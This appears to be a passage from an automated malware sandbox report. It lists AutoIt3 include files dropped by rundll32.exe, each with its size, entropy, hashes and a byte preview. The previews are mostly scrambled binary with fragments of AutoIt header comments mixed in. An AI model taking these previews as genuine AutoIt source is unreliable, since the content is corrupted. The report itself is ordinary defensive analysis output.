..2.`.$......H5.\|....H..h..=9...u..G.T..@NM..P.0.q....;.'...#.r.<.......Ox..q...d..o._(...}..D.B..@LM..P.0.q....;.'...#.{.+.d....u2......+..u..9[...r..Of;..PJp...x.>.0.G..!.w..1.k...&......H5.\|....H..h..=9...\|..J.

C:\Program Files (x86)\AutoIt3\Include\FrameConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2382
Entropy (8bit):	7.670390528012515
Encrypted:	false
SSDEEP:	48:fXQ6FJHrovhqvHP8osE3ysmvL8QO+07tmLJzHwBTWp85sSS:pyZasuyXw5j0l4jS
MD5:	A0F806AB38F1697B097088DAFC3BC0E5
SHA1:	BB780C00ED419D80BB230F8FB587BEFCB8C784F0
SHA-256:	6659B54F488A892CF65A728137723A0CE3CF4301D422D5B251AA400B94DD98E3
SHA-512:	6D5E7E508F78BFCEC5058DF2A9393BA031DC6C6EB1814D4B170459F00A95580344643D70E4F10025CD37B8EF6D38F9F82870A1C8E982B6FAD683A37C857C6F81
Malicious:	false
Preview:	b....(.%.O.fH%......-'%c..../.x!.8t.U........f'D...)......Y.r\|..D.`N}...8....9...YT\...../.x!.8t.U........f'D...)......Y.r\|..D.`N}...8....9.._I5O....<.k2.+g.R.......4t....`....w.Y..;a....4.....6....2..nRAj...u.e2.+g.F........3.s...q....B.B..ao..Y.2.3.A.q^...v.... v...e.7}.`...R.......Q!Y...\|.......J.a{...$S..O.q "..9...YT\...../.x!.8t.U........f'D...)......Y.r\|..D.`N}...8....9...YT\...../.x!.8t.U........f'D...)......Y.r\|..D.`N}...8........DJ"i...F.f<.8t.U........f'D...)......Y.r\|..D.`N}...8....9...YT\...../.x!.8t.U........f'D...)......Y.r\|..D.`N}...8....9...icZ......}.ez.d$.e,.......u...0.....c.y+.o\|..t.../.A.%nG..p.">e...\.x<..C..I.....(nY...W.......V.E.....1S..N.q....G..4<1k...2.H..i&..J.......^?...W........i.BK....4.).L.vYI..$..............p.g(.He....Y...@.....b.y!.ra.A.W4,.B.i.k..w... /"u...]..T.F..U.......4x....{.....r.n7.....6..&....%.P........J.....f.aX.F..*s.......UY...l....Y.L........y7..s.Gx\|..J...-&(k....2.=-.....D.

C:\Program Files (x86)\AutoIt3\Include\GDIPlus.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	304934
Entropy (8bit):	6.378952562300865
Encrypted:	false
SSDEEP:	3072:hAbeR66hcM59HAb+EJo7G2B1ZgcPVMUHkdOB3/MEpwk9Cy/mAILKSf0tWQ+H2UTh:XjeUBfgA1Sm3seJFPT4v
MD5:	F1EC93CB3A3963B35BE69863767D891E
SHA1:	9570841FD225C53A7711A877DADCBDB290709CB1
SHA-256:	BC0FED778A779087DB14DC6D14A7D4BC8F16D8D1CFFD7C67A7EDA81E45AD24FA
SHA-512:	4ADA72A8B7DF2BF7C0249D9B1D2686D4E71F310F6953A8EDFD13D35F6CB0954204F8C52E79E9286228C10151E431C1BFFD5672959FD616333EDA4B82B4D6A691
Malicious:	false
Preview:	;...=.,....0...K.y8.S.-.3.EI.....o...mF.#..p..&........]!...g..ctureConstants.au3"..#include "WinAPICom.au3"..#include "WinAPIConv.au3"..#include "WinAPIGdi.au3"..#include "WinAPIHObj.au3"..#q...$.-....=...k5?...-.t.m......h.9.9..j..,. 9-..H...y......==============================================================================================..; Title .........: GDIPlus..; Aul.?.q.-....=...u&i...Qi.\.GB....IaO.7..y..T.zhy....N.\7...c..on ...: Functions that assist with Microsoft Windows GDI+ management...; It enables applications to use graphick...5......'...f\|?)...6.4..f.....E%..9C.$.Tp.=e~.......K-...a...; Applications based on the Microsoft Win32 API do not access graphics hardware directly...; Q...4.,...(....(\|?#.S.+.!..f....Ia..pQ.%..~.=fu....U...%...z..tions...; GDI+ can be used in all Windows-based applications...; GDI+ is new technology that ik...2.=...L:.../f>>.C_..v..j.....E/..nT

C:\Program Files (x86)\AutoIt3\Include\GDIPlusConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	26520
Entropy (8bit):	6.926185697924491
Encrypted:	false
SSDEEP:	384:yN6kd6vNCT68Cb+JtC8+3Xow3XbsaO77koW6EJ+Ahi8YvO9IvsweIczk:A6kd6FCT68CSm8+IYXoaHoW6EkART+cY
MD5:	DBE2E4596F4EDD0ED0DA576CC2C3DBEE
SHA1:	03D291534C5711DFD338BE8F5611B70DEBCB6920
SHA-256:	0DD63EA78FE886EF7903782D4F5050C51A799CCDBE80930C748FFE80065DA0B4
SHA-512:	5841598661ABC9FD625446F9CD9E4F24CE789E9B361FD664952E1618C0ACB5BDF3197C0A201D59C84434A8EFFD7E3B45AEC584898ADBE282E527E53D63C97B4C
Malicious:	false
Preview:	_*..._.p"\.V..<...$...w.......d........p.8>.g.n..'.`._}.i....==================================================================================..; Title .........: GDIPlus_Constants..; Auto57....H.2#...:.....)..D.....].y..........bo.).^..:}8..2.$..F ...: Constants for GDI+..; Author(s) .....: Valik, Gary Frost, UEZ..; =========================================================A~..C...`p...4.....:..s.........d........p.8>.g.n..'.`._}.i....======....; #CONSTANTS# ========================================================================================================A~..C...`p..92.a...C..&......_.T.v....E...kp.z...zJf..1.....iT = 0 ; A square cap that squares off both ends of each dash..Global Const $GDIP_DASHCAPROUND = 2 ; A circular cap that rounds o.%....S.8#V..f.....o../A......[.y.^.......U\.....rJm..#......3 ; A triangular cap that points both ends of each dash....; Pen Dash Style Types..Global Const $GDIP_DASHSTYLESOLID = 0 ; A sol.'....^.W.^.Qh....t.ju.....r...}....

C:\Program Files (x86)\AutoIt3\Include\GUIConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1323
Entropy (8bit):	7.539802856751826
Encrypted:	false
SSDEEP:	24:b58y+Q+eVJ9j7uE+Q+0AGlAQ0f6Q03yQ0LYIOs7Irw5P62ClDe6pkS:98pneVJ9/uzn0AGL0P03v0LYRs795aVJ
MD5:	21968FACD1B228C6518AE2B2DFB474CF
SHA1:	1F383737660043EE2E99F76FDB9F4B6072C362C8
SHA-256:	1A695C212A1F5BF0A24D4D2FD14821244B28C881184F3C7CC0E66D4DF4C1C7EB
SHA-512:	F6909DD2BA79464C2735A162C5C946F53F1FA1A731F855F084345893B252A863DBEF8C7F7847BC4B76E4B641FB971ED9A6B2494982856EFE21BBF394E5671BEB
Malicious:	false
Preview:	..../.....t.b.....A.&yAsK26.s.=...\....o..B...2}.......n..!8...~.E....R...._...^._nK26.s.=...\....o..B...2}.......n..!8...~.E....R....h....U.6V!%.`.....[..S]r.6...\|4.K........sL...1.....7.A....S...Cm.=.zj.+.....O...t<......{.a...F.'..r%...c.....y....M.B..CC.s.\|n.n.iU.&..p".....f/.V...n.'..n-..m.V....v....F.....Ce.?V!%.`.....O..2;i..B...2}.......n..!8...~.E....R...._...^._nK26.s.=...\....o..B...2}.......n..!8...~.E....R...._...^._nK26.s.=...\....o..r..a#.P....n....rv....0...........Y.....U.<.Ld.=.aO..O..._......z$......M....oq....m.....4.....H.B....D6:.jH. .t@.....J.p..\...c5.@....F....oq....m.....4.....H.B...*b.=.{j.:.EY.....2;q.....j`.i...@....oq....m.....4.....H.B....U4:.xH. .t@.....J.p..\...c5.@....@.!..oF....".....$.b...B....C.0:.gN.'.CN....KB\|.L...,).F........x`...0......v.\.........DBq%{j.'.CN....KB\|.L...,).F........_j...-.....5.e..O.....Au.6.Yb.9.oO....L.3..]...f..I.....#..kkConstants.au3"..#include "WindowsConstan

C:\Program Files (x86)\AutoIt3\Include\GUIConstantsEx.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4363
Entropy (8bit):	7.828971529212687
Encrypted:	false
SSDEEP:	96:BZG+kaMocoq6nwR/f29EIhK6EfySBCpgv6hisw8UWQf/R03GoSshS:BZQaMocobwl29EaTE6uogBz4QRpoSaS
MD5:	BEF3C82EE1093CAFCCD0A33742293440
SHA1:	914A11A2489020FA4AFCBBA648A1420EA41470E5
SHA-256:	0390E71666EADCB9B983E37E3DFB24AF459BEA3DD67AC395B32D54A4EDF2D1A8
SHA-512:	A05508F7BDCEEC7444B0AE81DB88E1A50F26D0D0C2BE4E97E85CA60E1BC0F853A2A0AE6EFDEC5FBE06A3C1D33CF6C138EAC29A08D6B31FAA0CCD2F52C807B754
Malicious:	false
Preview:	..HH..i]......./.3.Q.....\..L....3%6U.T_U._..=.x...Z.x.Y...L........y...]./.2.G.(v....\..L....3%6U.T_U._..=.x...Z.x.Y...L........y...]./...A.A".K..O.._.... "+/. !...Y.nX6...m.e.........XM...~...S...<...A.Y.@...G._.... "+-...... .;.._....5...._....hK..%\..@..p./...qk.I.4k....Z.my.....F.h..AY1R.O.l.J..._...F....([..j..~./.T.;e....O..\|....3%6U.T_U._..=.x...Z.x.Y...L........y...]./.2.G.(v....\..L....3%6U.T_U._..=.x...Z.x.Y...L........y...]./.2.G.(v....\..L..;...0H.-&.6l.T.f...Z.x.Y...L........y...]./.2.G.(v....\..L....3%6U.T_U._..=.x...Z.x.Y...L........y...]./.2.G.(v....\..L....3%6e.RB-..C.s.$T....6....\|...IE...+\..@...[.J.?.A..n..-g.L.....0o......K..eX0H.G.e.........EP....^......}.\|.Z.R..x..$l....d.W86H.IYH..Y.rB6..G.7.........EM...0Z......f.n...p3.B...F....Y.cy....Le.o'.lC'[..$.+.....$....nj...\|..].....c...yk.H.....6..i.X]E<.*.'.'.. .v7....'..........lq...w..?...[.F.?.(k....&N......avx..M%=.=h.Eb.e.4...!...\...GK..dq......U.F.?.P..x..9k.8.....5=e

C:\Program Files (x86)\AutoIt3\Include\GuiAVI.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11270
Entropy (8bit):	6.288642291530643
Encrypted:	false
SSDEEP:	192:eJ9eY7U04fvbfcxpCPBvGV4lBQ8WiKO0miRUxHljrTlDpo6tr7cS:eJkY7/4fvbfcxpp4l7Wif0miRUFljXlt
MD5:	1F7DFDCAC614256450F75A64EA2C8BA0
SHA1:	5C4926540D0F793D64BC6AE140A7258904AF9B83
SHA-256:	3412D7754D4654E1A478BF21FCFA523299BB7FEFD7BEC6D7BDDE41AD1EFB53F2
SHA-512:	7898EEBF1A0D1E3A2F9C4CF0420118D8EE870E1CD79474694EE75BB4DB7B86997FABFE2AC1348955587BD05247F5E4A2B8F569E00001B6A9BF9D2CEDEA64AAA7
Malicious:	false
Preview:	.B....i..g........=kN.>...q.P.............V.L...e.2..+.=.......nternals.au3"..#include "Memory.au3"..#include "SendMessage.au3"..#include "UDFGlobalID.au3"..#include "WinAPIConv.au3"..#includ......L..A...j.....2}.EW..^.u........9u.,...(...h.+.j.IfG.nn.u#INDEX# =======================================================================================================================.......a..&.6....sIL.7._....X....!.......).Z.&.i..:.TuG.XD.4nguage ......: English..; Description ...: Functions that assist with AVI control management...; An animation c.E...-..(...q.....'`C.z.@.x..X......L.R...#.Z.h."..n..!..K%..) clip. An AVI clip is a series..; of bitmap frames like a movie. Animation controls can only display AVI clip.....-..(...8...2aLGz.Y.7.7...SX.._.T.f.Z.&.g..+..+'.... se for an animation control is to indicate system activity during a lengthy operation. This is..; possi.G....n..{...p....!iV.5..X.\|..X.....P

C:\Program Files (x86)\AutoIt3\Include\GuiButton.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	28799
Entropy (8bit):	6.317095761563318
Encrypted:	false
SSDEEP:	768:m5oRkgDEzs4AVI6SsddLL9mdYhqYhnRvm95dFSf+l:Soz1wd
MD5:	F647378E6BB0CBD1DC638DD5F7011E65
SHA1:	A00FBA1B39FF2581A0CCBF5797C74E48CA095694
SHA-256:	A594EFCD372AFA1326C09E18EFA6633E13A5DC700C5E38D34B7E6AED6087423D
SHA-512:	EBACADF74D61FB490EE730F1DA2507837386F0C5ADF382F7CAE8E6041934A09F57F6D4C44D2847F4C28C00D3CD36C9643A75E98F679CFD11DA6192FA6FDF7085
Malicious:	false
Preview:	j!.m.rZ.cl..K..._. i.&.....A.E.U.z{2....y.K-......P.A4I<.A..7mnConstants.au3"..#include "SendMessage.au3"..#include "UDFGlobalID.au3"..#include "WinAPIConv.au3"..#include "WinAPIIcons.au3"..j!.m.rZ.n!=.@...^...d.6..RA$?..K....}R...f=.?..W...m.!.>.P~?======================================================================================================..; Title .........: Butto'E.5.FK.!J..x...d..n0.`....a?..R6.uf!....w..0.,../].X9_t...M.gscription ...: Functions that assist with Button control management...; A button is a control the user can clic"h.a.wL.8j......x..:e.2.R]'}.A...z&Kx..Yj..#.?..W...m.!.>.P~?========================================================================================================....; #VARIABLES# ======tu.3.:..s>W.....0A.s7.n....j,...T+.)5{O..Yj..#.?..W...m.!.>.P~?=============================================..Global $__g_hButtonLastWnd....; =================================================tu.3.:..s>W.....0A.s7.n....j,...T+.)5{O.

C:\Program Files (x86)\AutoIt3\Include\GuiComboBox.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	41931
Entropy (8bit):	6.141121305559919
Encrypted:	false
SSDEEP:	768:8WvdfsMlFkf3UhA/TeVgWynYI0Zs5+vioPnMBURqJUQQZwtprjUCyRK1AlthWIVr:RaUhAx3+n2fQjhROO5Iq
MD5:	03407DBD683F26866B426FADCB1B95B7
SHA1:	6F7D5B8B30DE006B40A05E22EF750DFB937196AE
SHA-256:	3E169D331F484E92EABDA494A2BF6340F77FA0D2C85024C4EB98467EB14C02C3
SHA-512:	B7F9677726C3944F7D2DFC23573AD99F2C7F3D1EE696DFE36A138E2E8F000591401A676A0E0268F5B56076A53754AB9851904E2C7A0CB863A8E6D286EE93F0A8
Malicious:	false
Preview:	%..m,..&..L.&.'..\|)......Z@c..".G./.z..F..b2.3.=...1#.......stants.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "UDFGlobalID.au3"..#include "WinAPIConv.au3$.-)../K.G<aSD.....%.....K!..$.K.?.4.......l`c.=...5o.a.......; #INDEX# ===================================================================================================================;.3Mb.cj.Vp&$...qn.D.K....nn..".%..{.a..!..%Mjy.=_..z0.~.....; Language ......: English..; Description ...: Functions that assist with ComboBox control management...; Author(s) .....: gafrou....../w..<.eA..RJ.J.X..E>1..p....f.).U...}.$-.nB..i>.r.....====================================================================================....; #VARIABLES# ==========================;.3}U.~...!~9...b}.W.X..E>1..p....f.).U...}.$-.nB..i>.r.....=========================..Global $__g_hCBLastWnd....; =========================================================================;.3}U.~...!~9...b}.W.X..E>1..p....f.).

C:\Program Files (x86)\AutoIt3\Include\GuiComboBoxEx.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	48540
Entropy (8bit):	6.1432139328871465
Encrypted:	false
SSDEEP:	768:LgzRp/4IcWNFWltQpwh0+qzZkfHOGVP7uLLiL98kvtQc1Q+rrDMlu11RKBVmzjcE:qRtcpI8Hrki51Q6THMqxk0
MD5:	11080B116C34A780AAB73E337AA12A3E
SHA1:	D9FEC48E459EC411D4D2746C3B96517791143E94
SHA-256:	7707B01D6EE26AED48BBAADCD5A8F05C6BA60BC39B339F777DE779BAEA13CBB8
SHA-512:	5386A0952BDBA4ED6588E862C56482FB86BE982253112000B7BE472997E3BCF8C3C6EC3E4B1623ED3A1CE92319AC31F8343E65032D4AA220FE5E5E9E53448EFA
Malicious:	false
Preview:	T......e.....wt._/....F"..-.%x`...k....F.M...i1.....]..?..Box.au3"..#include "GuiCtrlInternals.au3"..#include "Memory.au3"..#include "UDFGlobalID.au3"..#include "WinAPIGdi.au3"..#includeWX...%.I...............e/.d..F4G...][....v....!h'..b....o..==============================================================================================..; Title .........: ComboBoxEx..;W;...-. z.......\u..B..i..c..v`...b.......e.a...u&r..d.p..1..ption ...: Functions that assist with ComboBoxEx control management...; ComboBoxEx Controls are an extension ofW.....mN.Y...^...2....V/C.I..ag...%....8..T...<3u..6.Q.;..ges...; To make item images easily accessible, the control provides image list support. By using this control, ....._. ..Y.Z^.\f..L..$C.I..ag...q.......?..J...h,:.......?.. box without having to manually draw item graphics...; =========================================================================JG...Y.=..D..GC.A{..Q..z..T..[*3...8E..

C:\Program Files (x86)\AutoIt3\Include\GuiCtrlInternals.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7439
Entropy (8bit):	6.473230304149895
Encrypted:	false
SSDEEP:	96:YjiCxUWUK2NKqp6Ax2u+76At3YXDQENOAXF3U8K50vYJe5IA5OvdmWDS:ZMaZ0qpN2HBLgE8KmVjOlmaS
MD5:	91B05346A829D7A248BB46BB3A731F29
SHA1:	58B33703CDA8EBE56307D7DDB20FAE56964620D7
SHA-256:	24593A45C3B520B21EFC24FD95DF45E9494CDAF0BA02BF495B109CE9A533C9CE
SHA-512:	1E428DA009905DF06F9A85C9C45547A35F7F402284445AA09F3DBA49FFA8FE6D5A1B2BB83A9E6535A086FBE6DF5809244FEDBCC5D2A6084A82DFD211C07E2063
Malicious:	false
Preview:	.~>.Vg.{...A.2n.;.2.....@.f..a..P..cM.n...o.....H.u...B.A9.F...nals.au3"....; #INDEX# =========================================================================================================.m!./R#>..\.i...........j.."Y....Q+tC..5mO=.....G....M.t#.Z... for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Functions that assist with _GUI control management...; Author(s) ..9~2.2.nn..A.Y...fGVY....y..1J....+C.^..z<RE..JU.....6..w..D.@============================================================================....#Region Global Variables and Constants....; #VAR.V.P.AL>>..\.Y...fGVY....y..1J....+C.^..z<RE..JU.....6..w..D.@===========================================================..Global $__g_hGUICtrl_LastWnd..; ===================================.m!./R#>..\.Y...fGVY....y..1J....+C.^..z<RE..JU.....6..w..D.@============================....; #CONSTANTS# ==================================================================================.*m!./R#>..\.Y...fGVY....y..1J....-^.^.

C:\Program Files (x86)\AutoIt3\Include\GuiDateTimePicker.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14223
Entropy (8bit):	6.157774450653588
Encrypted:	false
SSDEEP:	192:ILjunvSjouOCkOw3siUFXn9zCT/t0mVXyAZTtorFM/g6nLyLi3hKXFbWS:iunajouOIw3sNfQ0m0yTtKFz6nLki3wv
MD5:	ADCB27F57C3CBBE0F21DADF146D0508E
SHA1:	1EB3F5BC34802444A2F90C6DE43A877E0957BD20
SHA-256:	2D3A7A358CE0E51B13CD7DD22B2B6AD7659EBA869F82C6174CE6F800331E737A
SHA-512:	7E645C3A55167C58C7EBC1950D990B6778157B3151A314A6DBB6BB0E87EBB6EDAF4A7E2F9F7BCA6A3D8E5EA39FB0634C460B92497E6362D2A79C3389074FA0C2
Malicious:	false
Preview:	d...d.[.J...h.\_......,`....c!....A;X.%....}.j.%Uk.f.8l.h...CtrlInternals.au3"..#include "Memory.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "UDFGlobalID.&.....W..H..yB...... ..D E..P..w..J)\,U.5. ..'.&.O{a.C.(l.$...au3"..#include "WinAPISysInternals.au3"....; #INDEX# ==========================================================================z..,.......!_.kA..T...3.G.O.7q..T}.r.Rl.=..u.3.rP`.$.r'.d...: Date_Time_Picker..; AutoIt Version : 3.3.16.1..; Description ...: Functions that assist with date and time picker (DTP) contro+...p.[..J...h.v\..I.....Z.R.l...!F..?. ..#.G.o_n.x.tM....ontrol provides a simple and intuitive interface through which to exchange date..; and time information with a 2..1.x.....}..:........S.`..R.e"...,.6V.q.a../...rT`...9{.>..nter a date and..; then retrieve his or her selection with ease...; Author(s) .....: Paul Campbell (PaulIA)..; z..,.......!_.kA..T...3.G.O.7q..T}.r

C:\Program Files (x86)\AutoIt3\Include\GuiEdit.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55244
Entropy (8bit):	6.344735230963652
Encrypted:	false
SSDEEP:	768:Ks4WuAfy5WIRGdpx/hqRM4pBEBBsDaljOO6nosWQYsBUVYwds9ug76We5/TLDHgU:sWCMpYM9a2fC8pxCyU975GDXPrx
MD5:	BEEC0F20416C2BA80036F3EF4C13C1A4
SHA1:	CC8EDC2ED6C69304A47E3CE29A7CF5122218CE1A
SHA-256:	FFAE835540E28D5AACCD9946578D44797567B63A6F4ADB7625024DF9E31D2020
SHA-512:	25E04708B8D574B8E3C42DC88AA1CB984420842070430CC3F242582E039644A41FFD8613B609E6B62379FC7F157471D9F933F6ACCABF0262332F2CB3731C5285
Malicious:	false
Preview:	....s.;.R.\|S..j....f&./}.qM.^.ZAI...o. ....%.m.g~.A..x.+R..iusBar.au3"..#include "Memory.au3"..#include "SendMessage.au3"..#include "ToolTipConstants.au3" ; For _GUICtrlEdit_ShowBalloonTip....<.1...vU...#.h..g+..\.2}.....N..........O3l#}%.Q..2yah..qude "WinAPIHObj.au3"..#include "WinAPISysInternals.au3"....; #INDEX# ===========================================================....".b.BM/...Z....8w.v%.n5...$......&.3.....;M>p66.....N....=Title .........: Edit..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist with Ed_...p.+...2].....B..qd.A#.s(...9......;........b.wmhd.P..SS+r..=rectangular control window typically used in a dialog box to permit the user to enter..; and edit text by typinQ...?.7._.wI.......>j.v%.n5...$......&.3.....;M>p66.....N.<.. =====================================================================================....; #VARIABLES# =========================....".b.BM/...Z....8w.v%.n5...$......&.

C:\Program Files (x86)\AutoIt3\Include\GuiHeader.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	41894
Entropy (8bit):	6.266278886076582
Encrypted:	false
SSDEEP:	768:xCMj6HOCk/fq9vSThAIkoKOw39KYSPbgFh0CHMGA+g4nMEfhzb6iRryxy:sMekH6dNSDeHlQxy
MD5:	2F492EAB58A3CBD9224AFECAD81F39CF
SHA1:	8BF8D24C5705EE8BB9D021416D01395F9D803370
SHA-256:	9EE8F439F345E9D90B9252D9FCF2A7F3CB6E36D81D4776D0C142FD38DEA8F3DE
SHA-512:	2226AD88E7D601AE6902237061FE8CBC0E22C625E4EABCD8331FDFA3A52C2247AE3DE735B4C24A004890C695D05D3CDC67AD9E168E88771D9CB673CA7AA72E65
Malicious:	false
Preview:	^..n9..#.V.......l}...F%...i.'!......4T..~..O..tln.\|. .V4...%.gerConstants.au3"..#include "Memory.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "UDFGlobalID.auN...v..%.L.......D...Tn@.x>.nv......#..d.j..6.'.s...?[..#.vde "WinAPISysInternals.au3"....; #INDEX# =======================================================================================@..0hY.{........r)...O.}..v!OYh..K..2V..#.....WHc.2.).V4..{.ButoIt Version : 3.3.16.1..; Description ...: Functions that assist with Header control management...; A header ...y'..f.J..... c....V`H.ki..4...K..5S..b.^....;.2.#.G<.../.#text or numbers. It contains a title..; for each column, and it can be divided into parts...; Author(s) .....:]..x9D.'.I.......a..[/J..v!OYh.V..{...0.....D[p./.q..l...}.>==========================================================================================....; #VARIABLES# ====================@..0hY.{........r)...O.}..v!OYh.V..{.

C:\Program Files (x86)\AutoIt3\Include\GuiIPAddress.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12733
Entropy (8bit):	6.239693707441753
Encrypted:	false
SSDEEP:	192:mqt4wMx7MbD8XPll6q5lu/ool5e2lAr0v5u3nl9gO1l/NjS:jjM6bD8XPl0q5l2lplE0v5Il9b1l/U
MD5:	182DACB801F3C297786D86DBE0D6C401
SHA1:	2002759CE9D6912BAB508EF371A8F23E599EA017
SHA-256:	EFF6DFA46990CE280C4A03D4BE382C9978015543C915C7E6B8EDC3F00AD96756
SHA-512:	19FD6D8E64F7640FC41D8ECF802F328FA57F29042057A6BEB0BD077749DF18B2FE9C87E5771D1E8C47704935AD980E499ED85693FDF6E9F0D23C8DFB1B3DB5FE
Malicious:	false
Preview:	...G.-.j.5...]...P.5..\I{....@.M....o..".MW...9.U.......ddressConstants.au3"..#include "Memory.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "UDFGlobalID.....U....8....p..P..3.V./c...~&.J....j....Q..T..4........?.clude "WinAPIHObj.au3"..#include "WinAPISysInternals.au3"....; #INDEX# ==========================================================.H...e..zUf....m.....dG..Tdp....N.......3..1..Y.9.m........[.; Title .........: IPAddress..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist w.......#.>....?...Q.y..W.>(..]!......f..$..D.*..~.........9.t (gafrost)..; ==================================================================================================================.H...e..zUf...]......(.x+......N.......3..1..Y.9.m........k.===================================================================================....; ========================================.H...e..zUf....m.....dG..Tdp....N.......

C:\Program Files (x86)\AutoIt3\Include\GuiImageList.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	31828
Entropy (8bit):	6.263245517679008
Encrypted:	false
SSDEEP:	768:bn8kx05sVps5WKZJxQ/Qhiu/fDkNRjSSeHMFVFBxKVzve/kkrXq8/Ppzf9Ooj7wv:eWnd9n7BT9la
MD5:	78FAA10EB814E75F2FD68521B7DBF18C
SHA1:	7B08A044587B3C81CBCF85161A3E339362709772
SHA-256:	DC9C9B4D171D208432B0992587A33E53C44159816FE57C90CEF65546E98CBD1F
SHA-512:	0C646DC949D13C550B7C29EFA756DCE22D7DDA32871053B0F5B112E32FDA75E06EFB15EDBF7104FD2C0E19B60DFEEA3488394FBC08825273AC93A8BCCF09288E
Malicious:	false
Preview:	?.K0o)....v...kR...2`.S...jEy.?W....6b...3._Ok......a.Q."..istConstants.au3"..#include "StructureConstants.au3"..#include "WinAPIConstants.au3"..#include "WinAPIConv.au3"..#include "WinAPU.Z3hc......-..B....+q.....khF.;\.S...`..\.n.>0,........._.+..au3"..#include "WinAPIRes.au3"....; #INDEX# ====================================================================================!...a'p.....+..\L.Rc(....8.+.A..p...x... .\|kf..........[....t..; AutoIt Version : 3.3.16.1..; Description ...: Functions that assist with ImageList control management...; ]..A1{*....g6..A....2y.U..k.y.\Q....b~._.h.r6).......c.].-Z.f which can be referred to by its index. Image..; lists are used to efficiently manage large sets of icons or bu..I,ic...z{.......~t....bL6..K.]...br...a.< ,......c...eZ. in a single, wide bitmap in screen device format. An image list can also include a monochrome bitmap that..; <...\|:m....gw...Q...5f.C..%]y..J....#

C:\Program Files (x86)\AutoIt3\Include\GuiListBox.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	44404
Entropy (8bit):	6.176958966704662
Encrypted:	false
SSDEEP:	768:DtF3WmAUO6h690tEu7Gf24nKt0+fAVWdkYYKVhSPZEPkqjodqNlVsry/2NrVtgyN:DaUO9u4JHqxe
MD5:	824592E60ABE544A2A25EBA800998678
SHA1:	91D72FA096AD4FC6B532EE9FDECE79C371C5657E
SHA-256:	2EFE62314883D59E24E87D4A625A8979E6E5AF890324A5DB2342B79DCBAF12AF
SHA-512:	67BD190A2611F06FDAA4F68BF6AB0DB0BD96C432247BAC93D05858D853C64A120AF4DA3858E5244CC93918FF60A3C7549A3EBC77E5DD752B9FB975F5A5F393CA
Malicious:	false
Preview:	....2...H"?c......3..[Mc...iu............N..2..1.&.2..C2...H=J.onstants.au3"..#include "SendMessage.au3"..#include "UDFGlobalID.au3"..#include "WinAPIConv.au3"..#include "WinAPIRes.au3"..#inc....~.s...I.ir.?..VTtR..."..zn..2.:..)].....b.w.kZ.\C..A7o..==================================================================================================..; Title .........: ListBox..._..*..nE.4r.yn...z....6J....<.;.........$S......-.?..lt..8o!Q.iption ...: Functions that assist with ListBox control management...; Author(s) .....: Paul Campbell (PaulIA)..; ===============.B.c..'Xpl=.-<...g....:A...=:.JY..F.C..7@.....b.w.kZ.\C..A7o..================================================....; #VARIABLES# ==============================================================.B.c..'Xpl=.-<...g....:A...=:.JY..F.C..7@.....b.w.kj.&....fr.._g_hLBLastWnd....; =============================================================================================================.B.c..'Xpl=.-<...W..=.'_..SS.90..F.C.

C:\Program Files (x86)\AutoIt3\Include\GuiListView.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	196299
Entropy (8bit):	6.452390833534886
Encrypted:	false
SSDEEP:	1536:N38PcRbmwxDRHfRfjCMMgupIxWqHmysOV8AoAnfKpEbKF3jWmIrZITIPq/26oxZ+:NMEE+NHn6pUPsOXfKxlWmWfv6oBoX
MD5:	95B39CED17113E31C3A66216CF418141
SHA1:	C2B8BB5B384FBF60BFE7E322C9ACE18A7BEFE953
SHA-256:	F2AFD9EFBCF3231255C8B4BDDDDD935D629B53253186EE06AD7CAEB7C6FD3E04
SHA-512:	CAFEC2E87BBE6984B2FD402B3B6E9F0C3EBE429D7AF1EF918D712AAE8A35FB29C49B2C1373F5E86B9BDCE26C06FB700F66495E7D85DD6422D7C816ED56130561
Malicious:	false
